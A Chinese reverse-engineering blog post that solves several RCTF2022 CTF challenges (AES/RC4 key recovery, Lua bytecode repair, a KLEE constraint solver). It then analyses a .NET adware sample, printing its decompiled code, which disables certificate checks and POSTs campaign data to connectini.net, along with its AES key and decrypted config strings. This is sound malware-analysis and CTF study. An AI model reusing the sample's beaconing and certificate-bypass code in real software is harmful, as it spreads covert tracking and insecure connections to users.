RCTF2022 复现笔记

checkyourkey

主要代码逻辑保存在libCheckYourKey.so

1
2
if (MainActivity.ooxx(content)) {
new AlertDialog.Builder(MainActivity.context).setTitle("result").setMessage("Congratulations!").show();

image-20221215200343524

加密主要逻辑如下

image-20221215203744036

最后会和一段数据比较,但是数据存在异常,非正常base64加密数据。

image-20221215205307787

我们找到init_array,如下这段完成了对一大段数据的解密

image-20221215205214489

通过脚本还原数据得到如下,因为手机坏了这次没有动调emm,主要是利用数组指针,然后直接执行获得内容

image-20221215213059532

得到内容如下,猜测有检测frida

image-20221215212200376

解密得到aes后的数据

image-20221215212455206

然后aes解密

1
2
3
4
5
6
7
8
9
from Crypto.Cipher import AES

cipher = b'\x49\x67\xeb\x32\x9d\x05\x61\xda\xdb\x07\xd7\x5a\xb9\x01\xb2\x46'
key = b"goodlucksmartman"
aes = AES.new(key,AES.MODE_ECB)
output = aes.decrypt(cipher)
print(output)

# b'flag{rtyhgf!@#$}'

rttt

这里存在rc4特征

image-20221216095320284

rc4的秘钥通过异或生成,得到为Welc0me to RCTF 2O22

image-20221216104536008

然后rc4函数之后出现了一段大小为15的数组,解密出来为Congratulations

image-20221216104716196

解密rc4,很明显顺序不太对

1
2
3
4
5
6
from Crypto.Cipher import ARC4
rc4 = ARC4.new(b'Welc0me to RCTF 2O22')
t1 = [52, 194, 101, 45, 218, 198, 177, 173, 71, 186, 6, 169, 59, 193, 204, 215, 241, 41, 36, 57, 42, 192, 21, 2, 126, 16, 102, 123, 94, 234, 94, 208, 89, 70, 225, 214, 110, 94, 178, 70, 107, 49]
f = rc4.decrypt(bytes(t1)).decode()
print(f)
C7DD9165-R-72--}332DE0CBEF9C{1776T7DF3DCEF

回到xor的地方,构造密文得到置换表

获取输入–>置换–>rc4

1
2
s1 = 'qwertyuiopasdfghjklzxcvbnm1234567890QWERTY'
s2 = 'n0mWa8v4bq31zflYohd92yispr7wtTjQRe5Exuc6gk'

image-20221216121227719

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Cipher import ARC4
rc4 = ARC4.new(b'Welc0me to RCTF 2O22')

t1 = [52, 194, 101, 45, 218, 198, 177, 173, 71, 186, 6, 169, 59, 193, 204, 215, 241, 41, 36, 57, 42, 192, 21, 2, 126, 16, 102, 123, 94, 234, 94, 208, 89, 70, 225, 214, 110, 94, 178, 70, 107, 49]
f = rc4.decrypt(bytes(t1)).decode()


s1 = 'qwertyuiopasdfghjklzxcvbnm1234567890QWERTY'
s2 = 'n0mWa8v4bq31zflYohd92yispr7wtTjQRe5Exuc6gk'
dic = {}
for i in range(len(s2)):
dic[i] = s1.index(s2[i])

f1 = ['' for i in range(42)]
for i in range(len(f)):
f1[dic[i]] = f[i]
print(''.join(f1))

huowang

非预期的题,第一个迷宫走完然后爆破即可,这里就记一下学习笔记。

unicorn

  1. uc_open(uc_arch arch, uc_mode mode, uc_engine **result)

    UC_ARCH_X86, // X86 architecture (including x86 & x86-64)

    image-20221217223850704

    UC_MODE_64 = 1 << 3, // 64-bit mode

  2. uc_mem_map

  3. uc_mem_write

  4. uc_hook_add

  5. uc_emu_start

  6. uc_close

看似hook了一个奇怪的指令

image-20221217223456302

动态修改后,更改为了syscall,然后对syscall的调用进行处理

image-20221218115021662

设置硬件断点可以发现实在第二段模拟中修改了dword_18D73E0,

image-20221218120208753

从而修改if中的第二个值

image-20221218120329295

然后跳转到了

image-20221218120427849

观察syscall,每一轮syscall都会进行一轮异或,也就是smc自解密代码

image-20221218121528517

配合hook回调函数,可以看出第一个函数为uc_reg_read_batch函数,把7个寄存器的值读入到了qword中,然后在进行判断是sys_write还是sys_exit

image-20221218121204561

第一段代码模拟为0x145e0a9–>0x145E0FA

image-20221218122216722

第二段代码执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.rodata:000000000145E0C2                 mov     r10d, 0
.rodata:000000000145E0C8 mov rbx, 400174h
.rodata:000000000145E0D2 mov rdi, 400174h
.rodata:000000000145E0DC mov rsi, offset loc_407B34
.rodata:000000000145E0E6 mov r10, offset qword_400170
.rodata:000000000145E0F0 mov r11, 400172h

.rodata:000000000145E010 lea rax, loc_4000D9
.rodata:000000000145E017 mov r8, [rbx]
.rodata:000000000145E01A xor [rax], r8
.rodata:000000000145E01D mov r8, [rbx+8]
.rodata:000000000145E021 xor [rax+8], r8
.rodata:000000000145E025 mov r8, [rbx+10h]
.rodata:000000000145E029 xor [rax+16], r8 R
.rodata:000000000145E02D mov r8, [rbx+18h]
.rodata:000000000145E031 xor [rax+24], r8
.rodata:000000000145E035 mov r8, [rbx+20h]
.rodata:000000000145E039 xor [rax+32], r8
.rodata:000000000145E03D mov r8, [rbx+28h]
.rodata:000000000145E041 xor [rax+40], r8
.rodata:000000000145E045 mov r8, [rbx+30h]
.rodata:000000000145E049 xor [rax+48], r8
.rodata:000000000145E04D mov r8, [rbx+38h]
.rodata:000000000145E051 xor [rax+56], r8
.rodata:000000000145E055 mov al, [rsi]
.rodata:000000000145E057 add rsi, 1
.rodata:000000000145E05B jmp short loc_4000D9

有一点点迹象,如下

image-20221218182849070

留坑:

这个师傅写了一个脚本,通过修改代码在迷宫上执行dfs,使用pwntools的disasm来获得新的xor-key。后续写好了会补上来

https://hackmd.io/@94y7q597ST2hNdB9lbTJhA/S1wJr4Bds#HuoWang

picstore

还原字节码

修改了字节码加载,修改lua-5.3.3的逻辑后即可获取到字节码

1
luadec -dis picStore.bin > out.txt

在load的时候修改了字节码,但是在dump的时候没有修改字节码

自编译luadec,可以得到结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
; Disassembled using luadec 2.2 rev: UNKNOWN for Lua 5.3 from https://github.com/viruscamp/luadec
; Command line: -dis picStore.bin

; Function: 0
; Defined at line: 0
; #Upvalues: 1
; #Parameters: 0
; Is_vararg: 2
; Max Stack Size: 2

0 [-]: CLOSURE R0 0 ; R0 := closure(Function #0_0)
1 [-]: SETTABUP U0 K0 R0 ; U0["menu"] := R0
2 [-]: CLOSURE R0 1 ; R0 := closure(Function #0_1)
3 [-]: SETTABUP U0 K1 R0 ; U0["upload_impl"] := R0
4 [-]: CLOSURE R0 2 ; R0 := closure(Function #0_2)
5 [-]: SETTABUP U0 K2 R0 ; U0["download_impl"] := R0
...

第二种方法,先通过opcode还原写成正常的字节码

https://bbs.pediy.com/thread-275620.htm#msg_header_h3_5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import gdb
import time

startt = time.time()
fp = open(r"./log.log","w")
strr = ""
def pt(p):
global strr
strr += p + "\n"

Esp = 0
# 断点
gdb.execute('b *0x55555559C078') # LoadBlock
gdb.execute('b *0x55555559C184') # LoadByte
gdb.execute('b *0x55555559C1D1') # LoadInt
gdb.execute('b *0x55555559C111') # LoadNumber
gdb.execute('b *0x55555559C0A1') # LoadInteger

gdb.execute('r')
while 1:


frame = gdb.selected_frame()
rip = frame.read_register("rip")

if rip == 0x55555559C078 :

rdx = frame.read_register("rdx")
Esp += rdx

elif rip == 0x55555559C184:
pt(f"{hex(Esp).ljust(10,' ')} => 1")

elif rip == 0x55555559C1D1:
pt(f"{hex(Esp).ljust(10,' ')} => 4")

elif rip == 0x55555559C111:
pt(f"{hex(Esp).ljust(10,' ')} => 8")

elif rip == 0x55555559C0A1:
pt(f"{hex(Esp).ljust(10,' ')} => 8")

if Esp == 0x19f0:
fp.write(strr)
fp.close()
print("finish!!!")
enddd = time.time()
print(enddd - startt)
break


gdb.execute('c')

写fix_picstore.bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import struct
fp = open(r"log.log","r")
fps = open(r"picStore.bin","rb")
fix_bin = open(r"fix_picStore.bin","wb")
data = fp.readlines()
data_bin = fps.read()
fix_data = b""


ans = 0
for i in range(len(data)):
op_str = data[i]
loa = int(op_str[2:6],16) + 1
step = int(op_str[14:15],16)

for j in range(ans,loa):
fix_data += struct.pack("B",data_bin[j])

for j in range(loa,loa + step):
if data_bin[j] != 0 and data_bin[j] != 0xff:
t = data_bin[j] ^ 0xff
fix_data += struct.pack("B",t)
else:
fix_data += struct.pack("B",data_bin[j])

ans = loa + step
fix_bin.write(fix_data)
fix_bin.close()

然后使用unluac还原

1
java -jar ./unluac.jar ./fix_picStore.bin > ./oplua.lua

得到源码后分析发现,进入check_func函数

image-20221226141839499

在该函数中发现了关键函数标志

1
a_AHy3JniQH4

klee求解

通过a_AHy3JniQH4找到对应ida中对应的函数chk_23

image-20221226144048131

看一下ida中代码实现,利用klee进行还原input

https://github.com/Pusty/writeups/blob/master/RCTF2022/kleeMe.c

先生成字节码,然后再执行klee

1
clang-11 -I klee/include -emit-llvm -c kleeMe.c &&  ~/klee_deps/klee_build110stp_z3/bin/klee kleeMe.bc
1
2
3
4
5
6
7
8
ktest file : 'test000001.ktest'
args : ['klee.bc']
num objects: 1
object 0: name: 'input'
object 0: size: 30
object 0: data: b'!\x92\xd0\xcf34\xe6\xbe\xc7\xd3n3\xcf\xbe.3O\xb7Ig*g\xc5S\xdd\x1d\xd1\xf0\xc2\x1a'
object 0: hex : 0x2192d0cf3334e6bec7d36e33cfbe2e334fb749672a67c553dd1dd1f0c21a
object 0: text: !...34....n3...3O.Ig*g.S......

脚本原理

对于所有abs方程,都假设为0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <klee/klee.h>

// clang-11 -I klee/include -emit-llvm -c kleeMe.c && ~/klee_deps/klee_build110stp_z3/bin/klee kleeMe.bc

bool chk_23(unsigned char *a1);

int main() {
unsigned char input[30];
klee_make_symbolic(input, 30, "input");
int res = chk_23(input);
return res;
}

int abs32(int x) {
klee_assume(x == 0);
return 0;
}

bool chk_23(unsigned char *a1) {
unsigned int v1;
unsigned int v2;
unsigned int v3;
unsigned int v4;
unsigned int v5;
unsigned int v6;
unsigned int v7;
unsigned int v8;
unsigned int v9;
unsigned int v10;
unsigned int v11;
unsigned int v12;
unsigned int v13;
unsigned int v14;
unsigned int v15;
unsigned int v16;
unsigned int v17;
unsigned int v18;
unsigned int v19;
unsigned int v20;
unsigned int v21;
unsigned int v22;
unsigned int v23;
unsigned int v24;
unsigned int v25;
unsigned int v26;
unsigned int v27;
unsigned int v28;
unsigned int v30;
unsigned int v31;
unsigned int v32;
unsigned int v33;
unsigned int v34;
unsigned int v35;
unsigned int v36;
unsigned int v37;
unsigned int v38;
unsigned int v39;
unsigned int v40;
unsigned int v41;
unsigned int v42;
unsigned int v43;
unsigned int v44;
unsigned int v45;
unsigned int v46;
unsigned int v47;
v1 =a1[0];
v2 =a1[1];
v3 =a1[2];
v4 =a1[3];
v5 =a1[4];
v6 =a1[5];
v7 =a1[6];
v8 =a1[7];
v9 =
+abs32(72265*v1-2384745)
+abs32(264694*v1-190137*v2+19025100)
+abs32(25295*v2+69369*v3+191287*v1-24434293)
+abs32(-170345*v2+217412*v3-26668*v1+38500*v4-27440782)
+abs32(127326*v4+260948*v2+-102835*v1+225038*v5-129683*v3-45564209)
+abs32(277432*v6+110191*v3+-186022*v4+175123*v2-75564*v5-252340*v1-12226612)
+abs32(255036*v7+-90989*v3+-201344*v4+122006*v5+-140538*v6+109859*v2-109457*v1-9396023);
v10 =a1[8];
v11 =a1[9];
v30 =v11;
v31 =a1[10];
v32 =a1[11];
v12 =
+abs32(251337*v3+-198187*v6+-217900*v2+-62192*v8+-138306*v7+-165151*v4-118227*v1-22431*v5+72699617)
+abs32(17253*v8+-134891*v7+144501*v4+220594*v2+263746*v3+122495*v6+74297*v10+205480*v1-32973*v5-115484799)
+abs32(101752*v11+67154*v8+-20311*v1+-30496*v6+-263329*v7+-99420*v10+255348*v3+169511*v4-121471*v2+231370*v5-33888892)
+abs32(-250878*v11+108430*v1+-136296*v5+11092*v8+154243*v7+-136624*v3+179711*v4+-128439*v6+22681*v31-42472*v10-80061*v2+34267161)
+abs32(41011*v8+-198187*v1+-117171*v7+-178912*v3+9797*v11+118730*v10-193364*v5-36072*v6+10586*v31-110560*v4+173438*v2-176575*v32+54358815)+v9;
v33 =a1[12];
v34 =a1[13];
v16 =a1[14];
v35 = v16;
v36 =a1[15];
v17 =
+abs32(243012*v33+-233931*v4+66595*v7+-273948*v5+-266708*v30+75344*v8-108115*v3-17090*v31+240281*v10+202327*v1-253495*v2+233118*v32+154680*v6+25687761)
+abs32(-69129*v10+-161882*v3+-39324*v32+106850*v1+136394*v5+129891*v2+15216*v33+213245*v30-73770*v34+24056*v31-123372*v8-38733*v7-199547*v4-10681*v6+57424065)
+abs32(-236487*v30+-45384*v1+46984*v32+148196*v7+15692*v8+-193664*v6+6957*v10+103351*v16-217098*v34+78149*v4-237596*v5-236117*v3-142713*v31+24413*v33+232544*v2+78860648)
+abs32(65716*v36+-18037*v32+-42923*v7+-33361*v4+161566*v6+194069*v31+-154262*v2+173240*v3-31821*v33-80881*v5+217299*v8-28162*v10+192716*v1+165565*v30+106863*v16-127658*v34-75839517)
+v12;
v37 =a1[16];
v38 =a1[17];
v18 =a1[18];
v39 =v18;
v19 =
+abs32(175180*v35+25590*v4+-35354*v36+-173039*v37+145220*v31+6521*v7+99204*v30+72076*v33+207349*v2+123988*v5-64247*v8+169099*v6-54799*v3+53935*v1-223317*v32+215925*v10-119961*v34-83559622)
+abs32(-207225*v1+-202035*v3+81860*v33+-114137*v5+265497*v36+-216722*v8+276415*v34+-201420*v10-266588*v38+174412*v6+249222*v30-191870*v4+100486*v2+37951*v31+67406*v32+55224*v37+101345*v7-76961*v35+33370551)
+abs32(-268870*v36+103546*v30+-124986*v33+42015*v7+80222*v2+-77247*v10+-8838*v31+-273842*v4+-240751*v34-187146*v32-150301*v6-167844*v3+92327*v8+270212*v5-87705*v18-216624*v1+35317*v37+231278*v38-213030*v35+114317949)
+v17;
v40 =a1[19];
v20 =
+abs32(43170*v3+-145060*v2+199653*v6+14728*v36+139827*v30+59597*v35+2862*v10+-171413*v37+-15355*v31-71692*v7-16706*v32+264615*v1-149167*v39+75391*v33-2927*v4-187387*v5-190782*v8-150865*v34+44238*v38-276353*v40+82818982)
+v19;
v41 =a1[20];
v21 =
+abs32(-3256*v33+-232013*v31+-261919*v35+-151844*v32+11405*v4+159913*v38+209002*v7+91932*v40+270180*v10+-195866*v3-135274*v39-261245*v1+24783*v41+262729*v8-81293*v30-156714*v2-93376*v34-163223*v37-144746*v5+167939*v6-120753*v36-13188886);
v22 =a1[21];
v42 =v22;
v43 =a1[22];
v23 =
+abs32(-92750*v34+-151740*v33+15816*v41+186592*v30+-156340*v35+-193697*v2+-108622*v8+-163956*v5+78044*v4+-280132*v22-73939*v39-216186*v3+168898*v36+81148*v40-200942*v38+1920*v1+131017*v32-229175*v10-247717*v37+232852*v31+25882*v7+144500*v6+175681562)
+abs32(-240655*v41+103437*v36+236610*v33+100948*v8+82212*v6+-60676*v5+-71032*v3+259181*v7+100184*v10+7797*v35+143350*v30+76697*v2-172373*v31-110023*v43-13673*v4+129100*v37+86759*v1-101103*v39-142195*v22+28466*v38-27211*v32-269662*v40+9103*v34-96428951)
+v21
+v20;
v44 =a1[23];
v45 =a1[24];
v24 =
+abs32(234452*v40+-23111*v35+-40957*v2+-147076*v8+16151*v38+-250947*v41+-111913*v36+-233475*v30+-2485*v34+207006*v32+71474*v3+78521*v1-37235*v42+203147*v5+159297*v7-227257*v44+141894*v31-238939*v10-207324*v43-168960*v39+212325*v6+152097*v37-94775*v33+197514*v4+62343322)
+abs32(216020*v44+-248561*v35+-86516*v39+237852*v32+-132193*v37+-101471*v3+87552*v31+-122710*v8+234681*v5+-24880*v7+-245370*v1+-17836*v42-225714*v40-256029*v4+171199*v41+266838*v10-32125*v30-43141*v38-87051*v36-68893*v45-242483*v34-12823*v2-159262*v33+123816*v43-180694*v6+152819799)
+v23;
v46 =a1[25];
v25 =
+abs32(-142909*v40+-111865*v37+258666*v42+-66780*v2+-13109*v41+-72310*v31+-278193*v32+-219709*v30+40855*v8+-270578*v44+96496*v5+-4530*v1+63129*v34-4681*v7-272799*v36-225257*v10+128712*v43-201687*v45+273784*v3+141128*v35+93283*v38+128210*v39+47550*v6-84027*v4+52764*v46-140487*v33+105279220)
+v24;
v26 =a1[26];
v47 =a1[27];
v27 =
+abs32(-215996*v4+-100890*v46+-177349*v7+-159264*v6+-227328*v33+-91901*v30+-28939*v10+206392*v47+6473*v31+-22051*v26+-112044*v40+-119414*v36+-225267*v41+223380*v3+275172*v5+95718*v45-115127*v35+85928*v32+169057*v44-204729*v1+178788*v42-85503*v37-121684*v2-18727*v38+109947*v39-138204*v8-245035*v34+134266*v43+110228962)
+v25
+abs32(-116890*v3+67983*v33+-131934*v4+256114*v46+128119*v30+48593*v39+-41706*v2+-217503*v32+49328*v6+223466*v7+-31184*v5+-208422*v42+261920*v1+83055*v26+115813*v43+174499*v35-188513*v41+18957*v31+15794*v10-2906*v34-25315*v8+232180*v38-102442*v45-116930*v40-192552*v44-179822*v37+265749*v36-54143007);
v28 =a1[28];
return v27
+ abs32(
-165644 * v38
+ 4586 * v45
+ 138195 * v31
+ 155259 * v41
+ -185091 * v3
+ -63869 * v37
+ -23462 * v36
+ 150939 * v47
+ -217079 * v8
+ -122286 * v6
+ 5460 * v44
+ -235719 * v7
+ 270987 * v32
+ 157806 * v40
+ 262004 * v35
- 2963 * v34
- 159217 * v10
+ 266021 * v39
- 190702 * v30
- 38473 * v26
+ 122617 * v2
+ 202211 * v42
- 143491 * v33
- 251332 * v4
+ 196932 * v5
- 155172 * v28
+ 209759 * v46
- 146511 * v1
+ 62542 * v43
+ 185928391)
+ abs32(
57177 * v30
+ 242367 * v45
+ 226332 * v37
+ 15582 * v32
+ 159461 * v40
+ -260455 * v28
+ -179161 * v43
+ -251786 * v38
+ -66932 * v47
+ 134581 * v1
+ -65235 * v35
+ -110258 * v34
+ 188353 * v44
+ -108556 * v6
+ 178750 * v46
+ -20482 * v31
+ 127145 * v8
+ -203851 * v5
+ -263419 * v10
+ 245204 * v39
+ -62740 * v26
+ 103075 * v2
- 229292 * v42
+ 142850 * v36
- 1027 * v33
+ 264120 * v3
+ 264348 * v4
- 41667 * v41
+ 130195 * v7
+ 127279 * a1[29]
- 51967523) == 0;
}

可以得到结果

1
2
3
4
5
6
7
8
ktest file : 'test000001.ktest'
args : ['klee.bc']
num objects: 1
object 0: name: 'input'
object 0: size: 30
object 0: data: b'!\x92\xd0\xcf34\xe6\xbe\xc7\xd3n3\xcf\xbe.3O\xb7Ig*g\xc5S\xdd\x1d\xd1\xf0\xc2\x1a'
object 0: hex : 0x2192d0cf3334e6bec7d36e33cfbe2e334fb749672a67c553dd1dd1f0c21a
object 0: text: !...34....n3...3O.Ig*g.S......

继续分析lua,可以提取出字节表L3_2

image-20221226161517400

会利用该表进行操作如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
for L7_2 = L4_2, L5_2, L6_2 do
temp = "xor"
temp = _ENV[temp]
L9_2 = L1_2[L7_2]
L10_2 = L7_2 - 1
temp = temp(L9_2, L10_2)
L1_2[L7_2] = temp
temp = "xor"
temp = _ENV[temp]
L9_2 = L1_2[L7_2]
L10_2 = 255
temp = temp(L9_2, L10_2)
L1_2[L7_2] = temp
temp = L1_2[L7_2]
temp = temp & 255
L1_2[L7_2] = temp
temp = #L2_2
temp = temp + 1
L9_2 = L1_2[L7_2]
L9_2 = L9_2 + 1
L9_2 = L3_2[L9_2] out[i] = t
L2_2[temp] = L9_2
end

相当于一个置换表,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
byteTable = "69f43f0a18a9f86b818a19b660b00e5938e5ce13171516c6b3a798421cc9d550a29766245b253211aa29035455e283264720128e462770dc10db9fde0b7763cb2f94b9375d30997101ed234b439ba14a6c4cb5e9ba2c7de858085fa3c8f978f3aed4fcea3a65e4566d90687975570f840c14a573888776454402527bfafb35ff33ddd3c3918cfe00742b1dd9c5b7a8bc22da92936295f6b4672128cfd0c08f1a9ae1648daf7ce63eb1cd6ecafdad2e3472a4a6899e7a0d53b285bdbb07b84df5d8bec2489dacabc7a02d311bcc51065c3bd1ef82613dd6d7495a7e2a1ef04fe04edf6f3c0405c4e76a408beb96e3eebf7f1f9c36f1f286f780415e39d2ec09c1"
validInput = "2192d0cf3334e6bec7d36e33cfbe2e334fb749672a67c553dd1dd1f0c21a"

byteTable = bytes.fromhex(byteTable)
validInput = bytes.fromhex(validInput)

def encrypt(inputValues):
output = []
for i in range(30):
a = inputValues[i]^(i^0xff)&0xff
output.append(byteTable[a])
[print(hex(i).split('0x')[1],end='') for i in output]

def decrypt(enc):
for i in range(30):
index = byteTable.index(enc[i])
a = index^(i^0xff)&0xff
print(chr(a),end='')
print('\ndecrypt success')

# encrypt(b'flag{U_90t_th3_p1c5t0re_fl49!}')
decrypt(validInput)

tips

abs32函数在算法上与y = x >> 31; (x^y)-y相等。

image-20221226150705352

https://hackmd.io/@94y7q597ST2hNdB9lbTJhA/S1wJr4Bds

https://blog.csdn.net/qq_41866334/article/details/128302662

https://blog.wm-team.cn/index.php/archives/35/

https://www.cnblogs.com/xyqer/articles/16454030.html

https://hackmd.io/@K-atc/rJTUtGwuW?type=view#uc_hook_add

https://s1lenc3-chenmo.github.io/2021/07/25/unicorn%E5%85%A5%E9%97%A8%E5%8F%8A%E5%BC%BA%E7%BD%91%E6%9D%AFunicorn-like-a-pro%E5%A4%8D%E7%8E%B0/#unicorn%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8D%97

DpEditor_learn

最近好忙,把之前做的一个分析发出来吧。是一个朋友给我发的。在这个样本里也学到不少东西。

Publisher sample

沙盒报告

Hybrid沙盒报告

https://hybrid-analysis.com/sample/0869692793e8940ae58615f19957da715c053e7f3e1d5f2aa7d64ea2a9bb077b/62f61284b774d475fc58f872

vt报告

https://www.virustotal.com/gui/file/0869692793e8940ae58615f19957da715c053e7f3e1d5f2aa7d64ea2a9bb077b/relations


网络行为

  • 访问google.com探测网络情况。

  • 访问hxxps://connectini.net/series/conumer4publisher.php广告页面

![image-20220812165146168](/Users/scr1pt/Library/Application Support/typora-user-images/image-20220812165146168.png)

修改内核

image-20220812165737620

在nsi.dll中检测到hook钩子,NSI User-mode interface DLL

image-20220812165804875

从程序中提取出该dll

image-20220812170155451

静态分析

定时启动edge并访问网站

image-20220812162607011

反混淆

通过de4dot检测出为.NET Reactor混淆。

1
2
3
4
5
C:\Users\Scr1pt\Desktop\de4dot-master\Release\net45>de4dot.exe Wycuwaeqaetae.exe -d

de4dot v3.1.41592.3405

Detected .NET Reactor (C:\Users\Scr1pt\Desktop\de4dot-master\Release\net45\Wycuwaeqaetae.exe)

脱壳完成后如下

image-20221222132946480

代码分析

main函数

1
2
3
4
5
6
7
8
private static void Main(string[] args)
{
Class1.smethod_19(Assembly.GetExecutingAssembly().Location);
Class1.smethod_5(Class7.smethod_0());
Class4.smethod_0();
Class4.smethod_2();
Class2.smethod_1(args);
}
  • 调用Class2.smethod_1并传入参数args

class2中核心代码功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public static List<string> smethod_2()
{
RegistryKey registryKey;
if (Class1.smethod_4())
{
registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\WOW6432Node\\Clients\\StartMenuInternet");
}
else
{
registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Clients\\StartMenuInternet");
}
List<string> list = new List<string>();
foreach (string str in registryKey.GetSubKeyNames())
{
RegistryKey registryKey2 = registryKey.OpenSubKey(str + "\\DefaultIcon");
if (registryKey2 != null)
{
object value = registryKey2.GetValue(null);
if (value != null)
{
string text = value as string;
if (text.Contains(".exe"))
{
int num = text.LastIndexOf(".exe");
if (num >= 0)
{
text = text.Substring(0, num + 4);
}
list.Add(text);
}
}
}
}
return list;
}

找到菜单里的浏览器如

image-20220815105118675

找到操作系统默认浏览器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
```



![image-20220815105624929](/Users/scr1pt/Library/Application Support/typora-user-images/image-20220815105624929.png)



-

![image-20220815104407263](https://scr1pt-1302658871.cos.ap-chengdu.myqcloud.com/img/image-20220815104407263.png)

解密信息

```c#
private static void smethod_3(string[] string_0)
{
string[] array;
if (string.Join("", string_0).ToLower().Equals("/static"))
{
array = Class3.smethod_1("MfH/416BjL3duVScX5KRh+n3oH+zTD2HchoneRO79NT78OB4DF7SPDLH2HP7tCOzC9uHnKFXRLOeH/W0tKJ9SQ==");
}
else if (string.Join("", string_0).ToLower().Equals("/didane"))
{
array = Class3.smethod_1("dk0zM/j9YXI/r3xvxYqCkOVUzmdKicdnCO6HZa65jHQZ7c1c6GjaeyWt3WU3HGBCrc06Do2MNvANBpwRBGI21A==");
}
else if (string.Join("", string_0).ToLower().Equals("/noat"))
{
array = Class3.smethod_1("0TaZdn4GCR7imkFl+dvHP+rvvoZiV4u3LWOO00sqcdDOPUZ3NsBt9Gvi3res469eUgoV22XsJ5K9mly4ZPfEyA==");
}
else
{
array = Class3.smethod_0();
}
Class1.string_2 = "1";
Class1.smethod_17(array[1]);
Class1.smethod_9(array[0]);
Class1.object_1 = array[3];
Class1.object_0 = array[4];
Class1.smethod_13(array[5]);
Class1.smethod_15(string.Concat(new string[]
{
"_",
array[0],
"_",
array[1],
"_",
array[3],
"_",
Class1.object_0
}));
}

编写脚本进行解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace Application
{
class Program
{
static void Main(string[] args)
{
string string_0 = "base64";
//string_0.Replace(" ", "+");
RijndaelManaged rijndaelManaged = new RijndaelManaged();
rijndaelManaged.Padding = PaddingMode.Zeros;
rijndaelManaged.Mode = CipherMode.CBC;
rijndaelManaged.KeySize = 256;
rijndaelManaged.BlockSize = 256;
byte[] rgbKey = Convert.FromBase64String("qFHOogTyxI+U+0mWctzFngMWGgWUj5BB8bT2UlmnG5k=");
byte[] rgbIV = Convert.FromBase64String("v9WVEt44bKrmHGpayCh40DodYqxlcDTF9lGIduUh0Zw=");
ICryptoTransform transform = rijndaelManaged.CreateDecryptor(rgbKey, rgbIV);
byte[] array = Convert.FromBase64String(string_0);
byte[] array2 = new byte[array.Length];
new CryptoStream(new MemoryStream(array), transform, CryptoStreamMode.Read).Read(array2, 0, array2.Length);
byte[] tt = new byte[array2.Length];
for (int i = 0; i < array2.Length; i++)
{
Console.Write(Convert.ToChar(array2[i]));
}
}
}
}
# lylal_chlyal_2_irecord_goodchannel_TN
# partner2_channel2_1_ProZipper_saleschannel1_TN
# publisher1_channel1_3_systemtools_normale_TN

解密了字符串后,调用网络函数

1
Config_CPM_To_Work_ID__njnghyznt58gkup7hpx5 PBM = Class9.smethod_1();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static Config_CPM_To_Work_ID__njnghyznt58gkup7hpx5 smethod_1()
{
ServicePointManager.ServerCertificateValidationCallback = ((object <p0>, X509Certificate <p1>, X509Chain <p2>, SslPolicyErrors <p3>) => true);
HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("https://connectini.net/Series/Conumer4Publisher.php");
httpWebRequest.Method = "POST";
httpWebRequest.ContentType = "application/x-www-form-urlencoded";
string s = "jiglibaf=" + Class5.smethod_1(Class1.smethod_16());
HttpRequestCachePolicy cachePolicy = new HttpRequestCachePolicy(HttpRequestCacheLevel.NoCacheNoStore);
httpWebRequest.CachePolicy = cachePolicy;
byte[] bytes = Encoding.UTF8.GetBytes(s);
httpWebRequest.ContentLength = (long)bytes.Length;
httpWebRequest.GetRequestStream().Write(bytes, 0, bytes.Length);
Stream responseStream = httpWebRequest.GetResponse().GetResponseStream();
StreamReader streamReader = new StreamReader(responseStream);
string text = string.Empty;
text = streamReader.ReadToEnd();
responseStream.Dispose();
streamReader.Dispose();
text = Regex.Replace(text, "false", "");
text = Class5.smethod_0(text);
text = Regex.Replace(text, "[^\\u0009^\\u000A^\\u000D^\\u0020-\\u007E]", "");
return JsonConvert.DeserializeObject<Config_CPM_To_Work_ID__njnghyznt58gkup7hpx5>(text);
}

访问如下ip和域名

image-20220815144008940

重要的注册表,从中分析出该病毒共有四个部分

1
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Recovery

image-20220815150950882

动态分析

